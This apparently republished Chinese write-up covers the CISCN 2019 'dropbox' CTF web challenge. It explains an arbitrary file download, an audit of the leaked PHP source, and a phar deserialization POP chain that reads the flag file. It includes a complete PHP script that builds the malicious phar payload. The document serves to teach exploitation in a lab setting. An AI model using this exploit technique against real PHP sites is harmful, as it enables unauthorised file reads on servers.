Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >ciscn2019华北赛区dropbox题解

ciscn2019华北赛区dropbox题解

原创
作者头像
KevinBruce
修改于 2020-04-26 02:20:24
修改于 2020-04-26 02:20:24
8130
举报
文章被收录于专栏:CTF及算法学习CTF及算法学习

0x01 解题思路

这道题涉及的应用是一个网盘系统,包含登录、注册、上传、下载和删除功能。

登录注册功能可能存在注入,但没有测出来,遂放弃。

上传页面限制了只能上传图片,这里可以通过修改content-type进行绕过,但是文件后缀还是会被改成图片后缀。

下载页面有一些问题,通过修改filename参数可以下载任意文件,从而获得应用的源码。

这里得到了login、register、download、delete和class等PHP文件的代码,经过简单的分析发现登录和注册页面使用了预编译技术,SQL注入是铁定没戏了。

有没有可能通过任意文件下载获得flag呢?答案是否定的,download.php文件限制了filename的参数不能为flag。

代码语言:txt
AI代码解释
复制
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}

通过审计源码我有了新的发现,在class.php中可能触发反序列化。

代码语言:txt
AI代码解释
复制
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password . "SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }
    public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}
class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }
    public function name() {
        return basename($this->filename);
    }
    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }
    public function detele() {
        unlink($this->filename);
    }
    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

反序列化可能通过phar触发,或者利用源码中可能包含的unserialize函数触发,但是源码中并没有unserialize函数,只能考虑借助phar协议触发。

如果通过phar协议触发,需要具备一些条件:phar协议被允许使用且存在触发点。

在download.php,delete.php页面发现可以使用phar协议。

接下来进行payload的构造来想办法触发phar协议进而借助反序列化尝试得到flag。

首先先来找找有没有命令执行或者文件读取相关的函数,发现:

代码语言:txt
AI代码解释
复制
public function close() {
        return file_get_contents($this->filename);
}

接着找一找有没有能destruct或者wakeup等反序列化常用的魔术方法,发现User和FileList类各有一个

代码语言:txt
AI代码解释
复制
#User
public function __destruct() {
        $this->db->close();
    }
#FileList
public function __destruct() {
        $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col" class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }

User中的destruct调用了close方法,而巧合的是刚好有一个close方法可以读取文件,这两个地方可以结合起来用,但是还需要找一个地方可以讲返回的内容显示出来。这里应该是要借助另一个destruct方法了,另一个destruct方法刚好有一个echo,那么就有可能打印出flag。还有一个值得注意的点是FileList类中有call方法,这个方法可能是在暗示我们要通过User类调用close方法来触发它,并通过它最终调用close方法。

为了方便后续的介绍,这里将代码精简一下。

代码语言:txt
AI代码解释
复制
<?php
class User {
    public $db;
    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table .= '<thead><tr>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
        }
        echo $table;
    }
}

class File {
    public $filename;
  	public function close() {
        return file_get_contents($this->filename);
    }
}
?>

上面说了很多条件,这里直接说最后的思路吧。

我们的目的是借助echo打印出flag,echo的内容中的变量有value。value的值来自于results,results中的内容可受call魔术方法影响,call魔术方法可以用来触发close方法,close方法可以得到flag。

0x02 exp构造

代码语言:txt
AI代码解释
复制
<?php
class File {
    public $filename='/flag.txt';
}
class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct() {
        $this->files = array(new File());
        $this->results = array();
        $this->funcs = array();
    }
}

class User {
    public $db;
    public function __construct() {
        $this->db = new FileList();
    }
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new User();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("exp.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

0x03 结果

在delete.php页面可以触发成功,download中由于而限制了open_basedir无法触发。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
CISCN2019 华北赛区 Day1 Web1 Dropbox
可以看到File的close()方法会去调用file_get_contents,可能存在文件读取。User类中存在close方法,并且该方法在对象销毁时执行。同时FileList类中存在call魔术方法,并且类没有close方法。如果一个Filelist对象调用了close()方法,根据call方法的代码可以知道,文件的close方法会被执行,就可能拿到flag。
鸿鹄实验室
2021/04/15
1.6K0
CISCN2019 华北赛区 Day1 Web1 Dropbox
ciscn2019华北赛区半决赛day1_web1题解
感谢buuoj的大佬们搭建的复现环境。作为一位CTF的初学者,我会把每个题目的writeup都写的尽量详细,希望能帮到后面的初学者。
KevinBruce
2020/03/12
1.1K0
PHP Phar反序列化浅析
文章首发于跳跳糖社区https://tttang.com/archive/1732
用户9691112
2023/05/18
1.3K0
PHP Phar反序列化浅析
BUUCTF-Web-WriteUp
知识点:代码审计,phpmyadmin任意文件包含漏洞 参考:phpmyadmin 4.8.1任意文件包含
小简
2022/12/28
1.6K0
BUUCTF-Web-WriteUp
PHP封装的PDO操作MySql数据库操作类!简单易用!
数据库操作类可以封装数据库连接和操作,使代码更易于维护和扩展。它们提供了一种组织代码的方法,将数据库相关的功能放在一个类中,以便于复用。
用户2203269
2023/10/26
8870
[GXYCTF2019]BabysqliV3.0题解
题目叫babysqli,刚访问的时候会有一个登录页面,于是我用测了测sql注入,毫无收获。
KevinBruce
2021/11/16
1.1K0
从CTF中学习PHP反序列化的各种利用方式
为了方便数据存储,php通常会将数组等数据转换为序列化形式存储,那么什么是序列化呢?序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
Ms08067安全实验室
2022/09/26
3.5K0
HSC-1th WP WEB
非常简单的签到题,由于运维赛前最后一天上传题目时将测试题目与签到题混淆导致,与攻防世界新手题思路基本一致,各位师傅凑合着玩玩吧。
中龙技术
2022/09/29
1.3K0
HSC-1th WP WEB
PHP SECURITY CALENDAR Writeup
这是文件上传中常用的一个函数,文件被上传结束后,默认地被存储在了临时目录中,这时必须将它从临时目录中移动到其它地方,因为脚本执行完后,临时目录里的文件会被删除。所以要在删除之前用 PHP 的 copy() 或者 move_upload_file() 函数将它复制或者移动到其它位置,到此,才算完成了上传文件过程。
wywwzjj
2023/05/09
2.2K0
PHP SECURITY CALENDAR Writeup
ciscn2019华北赛区半决赛day1web5CyberPunk
看起来没有什么特别的,就是一个可以提交信息的页面。查看响应报文也没有什么提示,但是在网页注释里有东西。
KevinBruce
2020/03/11
8610
记最近做的几道题
有关可以参考 https://wh1tecell.top/2021/11/11/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bfast-destruct/
pankas
2022/11/07
5360
记最近做的几道题
SOA 面向服务框架设计与实现
文章节选自 《Netkiller Architect 手札》 由于Java 语言的编译与重启不可抗拒缺陷,所选择使用PHP弥补这个缺陷。 在合适的场景中使用PHP 为 Java 提供 SOA 服务有很
netkiller old
2018/03/05
1.5K0
SOA 面向服务框架设计与实现
DASCTF 2022 7月赋能赛 writeup
目前水平确实不足,下午看了几个小时的题目只出了一道web签到题,感觉这DAS的比赛纯粹为了CTF而出题,就像Ez to getflag这个题目,作为一个用户来说上传了一个1.png然后输入1.png查询查不到的话,这应该很难认为是个能用的web服务,纯ctf技巧题吧,比赛时候也做了非常久。
ek1ng
2022/08/10
7671
DASCTF 2022 7月赋能赛 writeup
PHP 开发基础知识笔记
设置Cookie登录: 基于Cookie设置实现的用户登录模块,清空与设置Cookie选项.
王 瑞
2022/12/28
1.9K0
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
只要 get 传参反序列化后的字符串有 ctfshow_i_love_36D 就可以
全栈程序员站长
2022/09/14
2.1K0
CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞、pop链构造、PHP框架反序列化漏洞、python反序列化漏洞
PHP 应用PDO技术操作数据库
创建测试数据: 首先我们需要创建一些测试记录,然后先来演示一下数据库的基本的链接命令的使用.
王 瑞
2022/12/28
3.5K0
肝了两天!PHP反序列化漏洞从入门到深入8k图文介绍,以及phar伪协议的利用
本文内容主要分为三个部分:原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章,特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析,并提供了一系列由简入深的PHP反序列化习题,配以详细的练习和分析讲解。
小羽网安
2024/07/30
4850
【详解】解决远程连接mysql很慢的方法(mysql_connect打开连接慢)
在开发和运维过程中,有时会遇到从远程服务器连接MySQL数据库时速度非常慢的问题。这种情况不仅影响开发效率,还可能对生产环境造成负面影响。本文将探讨几种常见的解决方案,帮助优化远程连接MySQL的速度。
大盘鸡拌面
2025/02/03
4580
PDO 用法学习「建议收藏」
基于驱动: 1、安装扩展 php_pdo.dll 2、安装驱动 php_pdo_mysql.dll
全栈程序员站长
2022/09/20
3.9K0
6个常见的 PHP 安全性攻击
  了解常见的PHP应用程序安全威胁,可以确保你的PHP应用程序不受攻击。因此,本文将列出 6个常见的 PHP 安全性攻击,欢迎大家来阅读和学习。   1、SQL注入   SQL注入是一种恶意攻击,用户利用在表单字段输入SQL语句的方式来影响正常的SQL执行。还有一种是通过system()或exec()命令注入的,它具有相同的SQL注入机制,但只针对shell命令。 $username = $_POST['username']; $query = "select * from auth
wangxl
2018/03/08
1.9K0
6个常见的 PHP 安全性攻击
相关推荐
CISCN2019 华北赛区 Day1 Web1 Dropbox
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档